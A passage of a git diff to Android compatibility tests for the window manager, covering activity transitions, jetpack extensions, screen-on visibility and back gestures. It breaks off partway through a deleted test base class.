+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/Version.java
@@ -81,7 +81,8 @@
         return matcher.matches();
     }
 
-    int getMajor() {
+    /** Major version of the vendor implementation. */
+    public int getMajor() {
         return mMajor;
     }
 
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowExtensionTestRule.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowExtensionTestRule.java
new file mode 100644
index 0000000..5ae4b72
--- /dev/null
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowExtensionTestRule.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.jetpack.utils;
+
+import static android.server.wm.jetpack.utils.ExtensionUtil.assumeExtensionSupportedDevice;
+import static android.server.wm.jetpack.utils.ExtensionUtil.getExtensionWindowAreaComponent;
+import static android.server.wm.jetpack.utils.ExtensionUtil.getExtensionWindowLayoutComponent;
+
+import static org.junit.Assume.assumeNotNull;
+
+import androidx.window.extensions.area.WindowAreaComponent;
+import androidx.window.extensions.layout.WindowLayoutComponent;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+public class WindowExtensionTestRule implements TestRule {
+
+    private final Class<?> mComponentToFetch;
+    private Object mComponent;
+
+    public Object getExtensionComponent() {
+        return mComponent;
+    }
+
+    @Override
+    public Statement apply(Statement base, Description description) {
+        return new Statement() {
+            @Override
+            public void evaluate() throws Throwable {
+                assumeExtensionSupportedDevice();
+                mComponent = getComponent(mComponentToFetch);
+                assumeNotNull(mComponent);
+                base.evaluate();
+            }
+        };
+    }
+
+    public WindowExtensionTestRule(Class<?> componentType) {
+        mComponentToFetch = componentType;
+    }
+
+    public Object getComponent(Class<?> componentToFetch) {
+        if (componentToFetch == WindowAreaComponent.class) {
+            return getExtensionWindowAreaComponent();
+        } else if (componentToFetch == WindowLayoutComponent.class) {
+            return getExtensionWindowLayoutComponent();
+        }
+        return null;
+    }
+}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowManagerJetpackTestBase.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowManagerJetpackTestBase.java
index fb9f5e8..dd9c168 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowManagerJetpackTestBase.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowManagerJetpackTestBase.java
@@ -59,6 +59,7 @@
 
     public static final String ACTIVITY_ID_LABEL = "ActivityID";
     public static final String EXTRA_EMBED_ACTIVITY = "EmbedActivity";
+    public static final String EXTRA_SPLIT_RATIO = "SplitRatio";
 
     public Instrumentation mInstrumentation;
     public Context mContext;
@@ -186,6 +187,11 @@
                 .width();
     }
 
+    public int getTaskHeight() {
+        return mContext.getSystemService(WindowManager.class).getMaximumWindowMetrics().getBounds()
+                .height();
+    }
+
     public static void setActivityOrientationActivityHandlesOrientationChanges(
             TestActivity activity, int orientation) {
         // Make sure that the provided orientation is a fixed orientation
diff --git a/tests/framework/base/windowmanager/jetpack/window-extensions-release.aar b/tests/framework/base/windowmanager/jetpack/window-extensions-release.aar
index 6fc9a67..e9a1721 100644
--- a/tests/framework/base/windowmanager/jetpack/window-extensions-release.aar
+++ b/tests/framework/base/windowmanager/jetpack/window-extensions-release.aar
Binary files differ
diff --git a/tests/framework/base/windowmanager/res/values/styles.xml b/tests/framework/base/windowmanager/res/values/styles.xml
index 2945940..d9f0c15 100644
--- a/tests/framework/base/windowmanager/res/values/styles.xml
+++ b/tests/framework/base/windowmanager/res/values/styles.xml
@@ -57,4 +57,10 @@
         <item name="android:statusBarColor">@android:color/transparent</item>
         <item name="android:navigationBarColor">@android:color/transparent</item>
     </style>
-</resources>
+    <style name="window_task_animation" parent="@android:style/Theme.DeviceDefault">
+      <item name="android:taskOpenEnterAnimation">@anim/alpha</item>
+      <item name="android:taskOpenExitAnimation">@anim/alpha</item>
+      <item name="android:taskCloseEnterAnimation">@anim/alpha</item>
+      <item name="android:taskCloseExitAnimation">@anim/alpha</item>
+    </style>
+ </resources>
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityTransitionTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityTransitionTests.java
index 7e87fb4..83b4301 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityTransitionTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityTransitionTests.java
@@ -64,8 +64,6 @@
 import androidx.annotation.Nullable;
 import androidx.test.platform.app.InstrumentationRegistry;
 
-import com.android.compatibility.common.util.SystemUtil;
-
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
@@ -140,7 +138,7 @@
         waitAndAssertTopResumedActivity(new ComponentName(mContext, TransitionActivity.class),
                 DEFAULT_DISPLAY, "Activity must be launched");
 
-        latch.await(3, TimeUnit.SECONDS);
+        latch.await(5, TimeUnit.SECONDS);
         final long totalTime = transitionEndTime.get() - transitionStartTime.get();
         assertTrue("Actual transition duration should be in the range "
                 + "<" + CUSTOM_ANIMATION_DURATION_RANGE.getLower() + ", "
@@ -181,7 +179,7 @@
     }
 
     @Test
-    public void testTaskTransitionOverride() {
+    public void testTaskWindowAnimationOverrideDisabled() throws Exception {
         final CountDownLatch latch = new CountDownLatch(1);
         AtomicLong transitionStartTime = new AtomicLong();
         AtomicLong transitionEndTime = new AtomicLong();
@@ -192,25 +190,27 @@
             latch.countDown();
         };
 
-        SystemUtil.runWithShellPermissionIdentity(() -> {
-            // Overriding task transit animation is enabled, so custom animation is played.
-            final Bundle bundle = ActivityOptions.makeCustomTaskAnimation(mContext,
-                    R.anim.alpha, 0, new Handler(Looper.getMainLooper()), startedListener,
-                    finishedListener).toBundle();
-            final Intent intent = new Intent().setComponent(TEST_ACTIVITY)
-                    .addFlags(FLAG_ACTIVITY_NEW_TASK);
-            mContext.startActivity(intent, bundle);
-            mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
-            waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
-                    "Activity must be launched");
+        // Overriding task transit animation is disabled, so default wallpaper close animation
+        // is played.
+        final Bundle bundle = ActivityOptions.makeCustomAnimation(mContext,
+                R.anim.alpha, 0 /* exitResId */, 0 /* backgroundColor */,
+                new Handler(Looper.getMainLooper()), startedListener, finishedListener).toBundle();
 
-            latch.await(5, TimeUnit.SECONDS);
-            final long totalTime = transitionEndTime.get() - transitionStartTime.get();
-            assertTrue("Actual transition duration should be in the range "
-                    + "<" + CUSTOM_ANIMATION_DURATION_RANGE.getLower() + ", "
-                    + CUSTOM_ANIMATION_DURATION_RANGE.getUpper() + "> ms, "
-                    + "actual=" + totalTime, CUSTOM_ANIMATION_DURATION_RANGE.contains(totalTime));
-        });
+        final ComponentName customWindowAnimationActivity = new ComponentName(
+                mContext, CustomWindowAnimationActivity.class);
+        final Intent intent = new Intent().setComponent(customWindowAnimationActivity)
+                .addFlags(FLAG_ACTIVITY_NEW_TASK);
+        mContext.startActivity(intent, bundle);
+        mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
+        waitAndAssertTopResumedActivity(customWindowAnimationActivity, DEFAULT_DISPLAY,
+                "Activity must be launched");
+
+        latch.await(5, TimeUnit.SECONDS);
+        final long totalTime = transitionEndTime.get() - transitionStartTime.get();
+        assertTrue("Actual transition duration should be out of the range "
+                + "<" + CUSTOM_ANIMATION_DURATION_RANGE.getLower() + ", "
+                + CUSTOM_ANIMATION_DURATION_RANGE.getUpper() + "> ms, "
+                + "actual=" + totalTime, !CUSTOM_ANIMATION_DURATION_RANGE.contains(totalTime));
     }
 
     /**
@@ -764,7 +764,7 @@
                 Bundle extras) {
             final Intent i = new Intent(this, klass);
             i.putExtras(extras);
-            startActivity(i, activityOptions.toBundle());
+            startActivity(i, activityOptions != null ? activityOptions.toBundle() : null);
         }
     }
 
@@ -834,4 +834,6 @@
             overridePendingTransition(enterAnim, R.anim.alpha_0);
         }
     }
+
+    public static class CustomWindowAnimationActivity extends Activity { }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
index 74ef09e..c299ae7 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
@@ -198,8 +198,7 @@
         assumeTrue(supportsLockScreen());
 
         final LockScreenSession lockScreenSession = createManagedLockScreenSession();
-        final boolean notSupportsInsecureLock = !supportsInsecureLock();
-        if (notSupportsInsecureLock) {
+        if (!supportsInsecureLock()) {
             lockScreenSession.setLockCredential();
         }
         final ActivitySessionClient activityClient = createManagedActivityClientSession();
@@ -207,11 +206,25 @@
                 true /* useWindowFlags */);
         testTurnScreenOnActivity(lockScreenSession, activityClient,
                 false /* useWindowFlags */);
-        if (notSupportsInsecureLock) {
-            // In the platform without InsecureLock, we just test if the display is on with
-            // TurnScreenOnActivity.
-            mObjectTracker.close(lockScreenSession);
-        }
+
+        // Start TURN_SCREEN_ON_ACTIVITY
+        launchActivity(TURN_SCREEN_ON_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
+        mWmState.assertVisibility(TURN_SCREEN_ON_ACTIVITY, true);
+        assertTrue("Display turns on", isDisplayOn(DEFAULT_DISPLAY));
+
+        // Start another activity on top and put device to sleep
+        final ActivitySession activity = activityClient.startActivity(
+                getLaunchActivityBuilder().setUseInstrumentation()
+                        .setWaitForLaunched(false).setTargetActivity(TOP_ACTIVITY));
+        waitAndAssertActivityState(TOP_ACTIVITY, STATE_STOPPED, "Activity must be stopped.");
+        lockScreenSession.sleepDevice();
+
+        // Finish the top activity and make sure the device still in sleep
+        activity.finish();
+        waitAndAssertActivityState(TURN_SCREEN_ON_ACTIVITY, STATE_STOPPED,
+                "Activity must be stopped");
+        mWmState.assertVisibility(TURN_SCREEN_ON_ACTIVITY, false);
+        assertFalse("Display must be remained OFF", isDisplayOn(DEFAULT_DISPLAY));
     }
 
     @Test
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AnimationBackgroundTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AnimationBackgroundTests.java
deleted file mode 100644
index b5ead52..0000000
--- a/tests/framework/base/windowmanager/src/android/server/wm/AnimationBackgroundTests.java
+++ /dev/null
@@ -1,56 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.wm;
-
-import static android.server.wm.app.Components.CustomTransitionAnimations.BACKGROUND_COLOR;
-
-import android.graphics.Bitmap;
-import android.graphics.Color;
-import android.platform.test.annotations.Presubmit;
-
-import org.junit.Test;
-
-/**
- * Build/Install/Run:
- * atest CtsWindowManagerDeviceTestCases:AnimationBackgroundTests
- */
-@Presubmit
-@android.server.wm.annotation.Group1
-public class AnimationBackgroundTests extends CustomActivityTransitionTestBase {
-
-    /**
-     * Checks that the activity's theme's background color is used as the default animation's
-     * background color when no override is specified.
-     */
-    @Test
-    public void testThemeBackgroundColorShowsDuringActivityTransition() {
-        launchCustomTransition(BACKGROUND_COLOR, 0);
-        final Bitmap screen = screenshotTransition();
-        assertAppRegionOfScreenIsColor(screen, Color.WHITE);
-    }
-
-    /**
-     * Checks that we can override the default background color of the animation through
-     * overridePendingTransition
-     */
-    @Test
-    public void testBackgroundColorIsOverridden() {
-        launchCustomTransition(BACKGROUND_COLOR, Color.GREEN);
-        final Bitmap screen = screenshotTransition();
-        assertAppRegionOfScreenIsColor(screen, Color.GREEN);
-    }
-}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AnimationEdgeExtensionTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AnimationEdgeExtensionTests.java
deleted file mode 100644
index 9102634..0000000
--- a/tests/framework/base/windowmanager/src/android/server/wm/AnimationEdgeExtensionTests.java
+++ /dev/null
@@ -1,197 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.wm;
-
-import static android.server.wm.app.Components.CustomTransitionAnimations.BOTTOM_EDGE_EXTENSION;
-import static android.server.wm.app.Components.CustomTransitionAnimations.LEFT_EDGE_EXTENSION;
-import static android.server.wm.app.Components.CustomTransitionAnimations.RIGHT_EDGE_EXTENSION;
-import static android.server.wm.app.Components.CustomTransitionAnimations.TOP_EDGE_EXTENSION;
-
-import static org.junit.Assert.assertArrayEquals;
-import static org.junit.Assert.assertEquals;
-
-import android.graphics.Bitmap;
-import android.graphics.Color;
-import android.graphics.ColorSpace;
-import android.graphics.Rect;
-import android.platform.test.annotations.Presubmit;
-
-import org.junit.Test;
-
-/**
- * Build/Install/Run:
- * atest CtsWindowManagerDeviceTestCases:AnimationEdgeExtensionTests
- */
-@Presubmit
-@android.server.wm.annotation.Group1
-public class AnimationEdgeExtensionTests extends CustomActivityTransitionTestBase {
-
-    // We need to allow for some variation stemming from color conversions
-    private static final float COLOR_VALUE_VARIANCE_TOLERANCE = 0.03f;
-
-    /**
-     * Checks that when an activity transition with a left edge extension is run that the animating
-     * activity is extended on the left side by clamping the edge pixels of the activity.
-     *
-     * The test runs an activity transition where the animating activities are X scaled to 50%,
-     * positioned of the right side of the screen, and edge extended on the left. Because the
-     * animating activities are half red half blue (split at the middle of the X axis of the
-     * activity). We expect first 75% pixel columns of the screen to be red (50% from the edge
-     * extension and the next 25% from from the activity) and the remaining 25% columns after that
-     * to be blue (from the activity).
-     */
-    @Test
-    public void testLeftEdgeExtensionWorksDuringActivityTransition() {
-        final Bitmap screenshot = runAndScreenshotTransition(LEFT_EDGE_EXTENSION);
-        final Rect fullyVisibleBounds = getActivityFullyVisibleRegion();
-        assertColorChangeXIndex(screenshot,
-                (fullyVisibleBounds.left + fullyVisibleBounds.right) / 4 * 3);
-    }
-
-    /**
-     * Checks that when an activity transition with a top edge extension is run that the animating
-     * activity is extended on the left side by clamping the edge pixels of the activity.
-     *
-     * The test runs an activity transition where the animating activities are Y scaled to 50%,
-     * positioned of the bottom of the screen, and edge extended on the top. Because the
-     * animating activities are half red half blue (split at the middle of the X axis of the
-     * activity). We expect first 50% pixel columns of the screen to be red (the top half from the
-     * extension and the bottom half from the activity) and the remaining 50% columns after that
-     * to be blue (the top half from the extension and the bottom half from the activity).
-     */
-    @Test
-    public void testTopEdgeExtensionWorksDuringActivityTransition() {
-        final Bitmap screenshot = runAndScreenshotTransition(TOP_EDGE_EXTENSION);
-        final Rect fullyVisibleBounds = getActivityFullyVisibleRegion();
-        assertColorChangeXIndex(screenshot,
-                (fullyVisibleBounds.left + fullyVisibleBounds.right) / 2);
-    }
-
-    /**
-     * Checks that when an activity transition with a right edge extension is run that the animating
-     * activity is extended on the right side by clamping the edge pixels of the activity.
-     *
-     * The test runs an activity transition where the animating activities are X scaled to 50% and
-     * edge extended on the right. Because the animating activities are half red half blue. We
-     * expect first 25% pixel columns of the screen to be red (from the activity) and the remaining
-     * 75% columns after that to be blue (25% from the activity and 50% from the edge extension
-     * which should be extending the right edge pixel (so red pixels).
-     */
-    @Test
-    public void testRightEdgeExtensionWorksDuringActivityTransition() {
-        final Bitmap screenshot = runAndScreenshotTransition(RIGHT_EDGE_EXTENSION);
-        final Rect fullyVisibleBounds = getActivityFullyVisibleRegion();
-        assertColorChangeXIndex(screenshot,
-                (fullyVisibleBounds.left + fullyVisibleBounds.right) / 4);
-    }
-
-    /**
-     * Checks that when an activity transition with a bottom edge extension is run that the
-     * animating activity is extended on the bottom side by clamping the edge pixels of the
-     * activity.
-     *
-     * The test runs an activity transition where the animating activities are Y scaled to 50%,
-     * positioned of the top of the screen, and edge extended on the bottom. Because the
-     * animating activities are half red half blue (split at the middle of the X axis of the
-     * activity). We expect first 50% pixel columns of the screen to be red (the top half from the
-     * activity and the bottom half from the extensions) and the remaining 50% columns after that
-     * to be blue (the top half from the activity and the bottom half from the extension).
-     */
-    @Test
-    public void testBottomEdgeExtensionWorksDuringActivityTransition() {
-        final Bitmap screenshot = runAndScreenshotTransition(BOTTOM_EDGE_EXTENSION);
-        final Rect fullyVisibleBounds = getActivityFullyVisibleRegion();
-        assertColorChangeXIndex(screenshot,
-                (fullyVisibleBounds.left + fullyVisibleBounds.right) / 2);
-    }
-
-    private Bitmap runAndScreenshotTransition(String transition) {
-        launchCustomTransition(transition, 0);
-        return screenshotTransition();
-    }
-
-    private void assertColorChangeXIndex(Bitmap screen, int xIndex) {
-        final int colorChangeXIndex = getColorChangeXIndex(screen);
-        final Rect fullyVisibleBounds = getActivityFullyVisibleRegion();
-        // Check to make sure the activity was scaled for an extension to be visible on screen
-        assertEquals(xIndex, colorChangeXIndex);
-
-        // The activity we are extending is a half red, half blue.
-        // We are scaling the activity in the animation so if the extension doesn't work we should
-        // have a blue, then red, then black section, and if it does work we should see on a blue,
-        // followed by an extended red section.
-        for (int x = 0; x < screen.getWidth(); x++) {
-            for (int y = fullyVisibleBounds.top;
-                    y < fullyVisibleBounds.bottom; y++) {
-                final Color expectedColor;
-                if (x < xIndex) {
-                    expectedColor = Color.valueOf(Color.BLUE);
-                } else {
-                    expectedColor = Color.valueOf(Color.RED);
-                }
-
-                final Color rawColor = screen.getColor(x, y);
-                final Color sRgbColor;
-                if (!rawColor.getColorSpace().equals(ColorSpace.get(ColorSpace.Named.SRGB))) {
-                    // Conversion is required because the color space of the screenshot may be in
-                    // the DCI-P3 color space or some other color space and we want to compare the
-                    // color against once in the SRGB color space, so we must convert the color back
-                    // to the SRGB color space.
-                    sRgbColor = screen.getColor(x, y)
-                            .convert(ColorSpace.get(ColorSpace.Named.SRGB));
-                } else {
-                    sRgbColor = rawColor;
-                }
-
-                assertArrayEquals("Screen pixel (" + x + ", " + y + ") is not the right color",
-                        new float[] {
-                                expectedColor.red(), expectedColor.green(), expectedColor.blue() },
-                        new float[] { sRgbColor.red(), sRgbColor.green(), sRgbColor.blue() },
-                        COLOR_VALUE_VARIANCE_TOLERANCE);
-            }
-        }
-    }
-
-    private int getColorChangeXIndex(Bitmap screen) {
-        // Look for color changing index at middle of app
-        final int y =
-                (getActivityFullyVisibleRegion().top + getActivityFullyVisibleRegion().bottom) / 2;
-
-        Color prevColor = screen.getColor(0, y)
-                .convert(ColorSpace.get(ColorSpace.Named.SRGB));
-        for (int x = 0; x < screen.getWidth(); x++) {
-            final Color c = screen.getColor(x, y)
-                    .convert(ColorSpace.get(ColorSpace.Named.SRGB));
-
-            if (!colorsEqual(prevColor, c)) {
-                return x;
-            }
-        }
-
-        throw new RuntimeException("Failed to find color change index");
-    }
-
-    private boolean colorsEqual(Color c1, Color c2) {
-        return almostEquals(c1.red(), c2.red(), COLOR_VALUE_VARIANCE_TOLERANCE)
-                && almostEquals(c1.green(), c2.green(), COLOR_VALUE_VARIANCE_TOLERANCE)
-                && almostEquals(c1.blue(), c2.blue(), COLOR_VALUE_VARIANCE_TOLERANCE);
-    }
-
-    private boolean almostEquals(float a, float b, float delta) {
-        return Math.abs(a - b) < delta;
-    }
-}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/BackNavigationLegacyGestureTest.java b/tests/framework/base/windowmanager/src/android/server/wm/BackNavigationLegacyGestureTest.java
index b6c43f1..a26d3c2 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/BackNavigationLegacyGestureTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/BackNavigationLegacyGestureTest.java
@@ -23,10 +23,14 @@
 import static org.junit.Assert.assertTrue;
 
 import android.app.Instrumentation;
+import android.os.SystemClock;
 import android.server.wm.TestJournalProvider.TestJournalContainer;
 import android.server.wm.backlegacyapp.Components;
 import android.support.test.uiautomator.UiDevice;
+import android.view.InputEvent;
+import android.view.MotionEvent;
 
+import androidx.annotation.NonNull;
 import androidx.test.platform.app.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.GestureNavRule;
@@ -74,7 +78,45 @@
     private void doBackGesture() {
         int midHeight = mUiDevice.getDisplayHeight() / 2;
         int midWidth = mUiDevice.getDisplayWidth() / 2;
-        mUiDevice.swipe(0, midHeight, midWidth, midHeight, 100);
+        quickSwipe(0, midHeight, midWidth, midHeight, 10);
         mUiDevice.waitForIdle();
     }
+
+    private void injectInputEventUnSynced(@NonNull InputEvent event) {
+        mInstrumentation.getUiAutomation().injectInputEvent(event, false /* sync */,
+                false /* waitForAnimations */);
+    }
+
+    /**
+     * Injecting a sequence of motion event to simulate swipe without waiting for sync transaction.
+     */
+    private void quickSwipe(float startX, float startY, float endX, float endY, int steps) {
+        if (steps <= 0) {
+            steps = 1;
+        }
+        final long startDownTime = SystemClock.uptimeMillis();
+        MotionEvent firstDown = MotionEvent.obtain(startDownTime, startDownTime,
+                MotionEvent.ACTION_DOWN, startX, startY, 0);
+        injectInputEventUnSynced(firstDown);
+
+        // inject in every 5 ms.
+        final int delayMillis = 5;
+        long nextEventTime = startDownTime + delayMillis;
+        final float stepGapX = (endX - startX) / steps;
+        final float stepGapY = (endY - startY) / steps;
+        for (int i = 0; i < steps; i++) {
+            SystemClock.sleep(delayMillis);
+            final float nextX = startX + stepGapX * i;
+            final float nextY = startY + stepGapY * i;
+            MotionEvent move = MotionEvent.obtain(startDownTime, nextEventTime,
+                    MotionEvent.ACTION_MOVE, nextX, nextY, 0);
+            injectInputEventUnSynced(move);
+            nextEventTime += delayMillis;
+        }
+
+        SystemClock.sleep(delayMillis);
+        MotionEvent up = MotionEvent.obtain(startDownTime, nextEventTime,
+                MotionEvent.ACTION_UP, endX, endY, 0);
+        injectInputEventUnSynced(up);
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java b/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java
index 097defa..43812ee 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java
@@ -94,7 +94,7 @@
     // The min aspect ratio of NON_RESIZEABLE_LARGE_ASPECT_RATIO_ACTIVITY (as defined in the
     // manifest). This needs to be higher than the aspect ratio of any device, which according to
     // CDD is at most 21:9.
-    private static final float ACTIVITY_LARGE_MIN_ASPECT_RATIO = 3f;
+    private static final float ACTIVITY_LARGE_MIN_ASPECT_RATIO = 4f;
 
     private static final float FLOAT_EQUALITY_DELTA = 0.01f;
 
@@ -511,9 +511,6 @@
      */
     private void runSizeCompatTest(ComponentName activity, int windowingMode, double resizeRatio,
             boolean inSizeCompatModeAfterResize) {
-        // TODO(b/208918131): Remove once real cause is found.
-        assumeFalse(ENABLE_SHELL_TRANSITIONS);
-
         launchActivity(activity, windowingMode);
 
         assertSizeCompatMode(activity, /* expectedInSizeCompatMode= */ false);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/CustomActivityTransitionTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/CustomActivityTransitionTestBase.java
deleted file mode 100644
index 504b4ac..0000000
--- a/tests/framework/base/windowmanager/src/android/server/wm/CustomActivityTransitionTestBase.java
+++ /dev/null
@@ -1,200 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.wm;
-
-import static android.server.wm.ComponentNameUtils.getActivityName;
-import static android.server.wm.app.Components.BackgroundActivityTransition.TRANSITION_REQUESTED;
-import static android.server.wm.app.Components.CUSTOM_TRANSITION_EXIT_ACTIVITY;
-
-import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
-
-import static org.junit.Assert.assertArrayEquals;
-import static org.junit.Assert.fail;
-import static org.junit.Assume.assumeTrue;
-
-import android.graphics.Bitmap;
-import android.graphics.Color;
-import android.graphics.ColorSpace;
-import android.graphics.Rect;
-import android.os.SystemClock;
-import android.platform.test.annotations.Presubmit;
-
-import androidx.test.InstrumentationRegistry;
-
-import com.android.compatibility.common.util.TestUtils;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Rule;
-
-import java.io.IOException;
-import java.util.List;
-import java.util.Optional;
-
-@Presubmit
-@android.server.wm.annotation.Group1
-public class CustomActivityTransitionTestBase extends ActivityManagerTestBase {
-
-    private boolean mAnimationScaleResetRequired = false;
-    private String mInitialWindowAnimationScale;
-    private String mInitialTransitionAnimationScale;
-    private String mInitialAnimatorDurationScale;
-
-    @Rule
-    public final DumpOnFailure dumpOnFailure = new DumpOnFailure();
-
-    @Before
-    public void setUp() throws Exception {
-        assumeTrue(ENABLE_SHELL_TRANSITIONS);
-        super.setUp();
-        setDefaultAnimationScale();
-        mWmState.setSanityCheckWithFocusedWindow(false);
-        mWmState.waitForDisplayUnfrozen();
-    }
-
-    @After
-    public void tearDown() {
-        restoreAnimationScale();
-        mWmState.setSanityCheckWithFocusedWindow(true);
-    }
-
-    /**
-     * @param transitionType the type of transition to run.
-     *                       See CustomTransitionEnterActivity for supported types.
-     * @param backgroundColorOverride a background color override of 0 means we are not going to
-     *                                override the background color and just fallback on the default
-     *                                value
-     */
-    protected void launchCustomTransition(String transitionType, int backgroundColorOverride) {
-        TestJournalProvider.TestJournalContainer.start();
-        final String startActivityCommand = "am start -n "
-                + getActivityName(CUSTOM_TRANSITION_EXIT_ACTIVITY) + " "
-                + "--es transitionType " + transitionType + " "
-                + "--ei backgroundColorOverride " + backgroundColorOverride;
-        executeShellCommand(startActivityCommand);
-        mWmState.waitForValidState(CUSTOM_TRANSITION_EXIT_ACTIVITY);
-    }
-
-    protected Bitmap screenshotTransition() {
-        final TestJournalProvider.TestJournal journal = TestJournalProvider.TestJournalContainer
-                .get(CUSTOM_TRANSITION_EXIT_ACTIVITY);
-        try {
-            TestUtils.waitUntil("Waiting for app to request transition",
-                    15 /* timeoutSecond */,
-                    () -> journal.extras.getBoolean(TRANSITION_REQUESTED));
-        } catch (Exception e) {
-            throw new RuntimeException(e);
-        }
-
-        // The activity transition is set to last 5 seconds, wait half a second to make sure
-        // the activity transition has started after we receive confirmation through the test
-        // journal that we have requested to start a new activity.
-        SystemClock.sleep(500);
-
-        // Take a screenshot during the transition where we hide both the activities to just
-        // show the background of the transition which is set to be white.
-        return takeScreenshot();
-    }
-
-    protected void assertAppRegionOfScreenIsColor(Bitmap screen, int color) {
-        final Rect fullyVisibleBounds = getActivityFullyVisibleRegion();
-
-        for (int x = 0; x < screen.getWidth(); x++) {
-            for (int y = fullyVisibleBounds.top;
-                    y < fullyVisibleBounds.bottom; y++) {
-                final Color rawColor = screen.getColor(x, y);
-                final Color sRgbColor;
-                if (!rawColor.getColorSpace().equals(ColorSpace.get(ColorSpace.Named.SRGB))) {
-                    // Conversion is required because the color space of the screenshot may be in
-                    // the DCI-P3 color space or some other color space and we want to compare the
-                    // color against once in the SRGB color space, so we must convert the color back
-                    // to the SRGB color space.
-                    sRgbColor = screen.getColor(x, y)
-                            .convert(ColorSpace.get(ColorSpace.Named.SRGB));
-                } else {
-                    sRgbColor = rawColor;
-                }
-                final Color expectedColor = Color.valueOf(color);
-                assertArrayEquals("Screen pixel (" + x + ", " + y + ") is not the right color",
-                        new float[] {
-                                expectedColor.red(), expectedColor.green(), expectedColor.blue() },
-                        new float[] { sRgbColor.red(), sRgbColor.green(), sRgbColor.blue() },
-                        0.03f); // need to allow for some variation stemming from conversions
-            }
-        }
-    }
-
-    protected Rect getActivityFullyVisibleRegion() {
-        final List<WindowManagerState.WindowState> windows = getWmState().getWindows();
-        Optional<WindowManagerState.WindowState> screenDecorOverlay =
-                windows.stream().filter(
-                        w -> w.getName().equals("ScreenDecorOverlay")).findFirst();
-        Optional<WindowManagerState.WindowState> screenDecorOverlayBottom =
-                windows.stream().filter(
-                        w -> w.getName().equals("ScreenDecorOverlayBottom")).findFirst();
-        getWmState().getWindowStateForAppToken("screenDecorOverlay");
-
-        final int screenDecorOverlayHeight = screenDecorOverlay.map(
-                WindowManagerState.WindowState::getRequestedHeight).orElse(0);
-        final int screenDecorOverlayBottomHeight = screenDecorOverlayBottom.map(
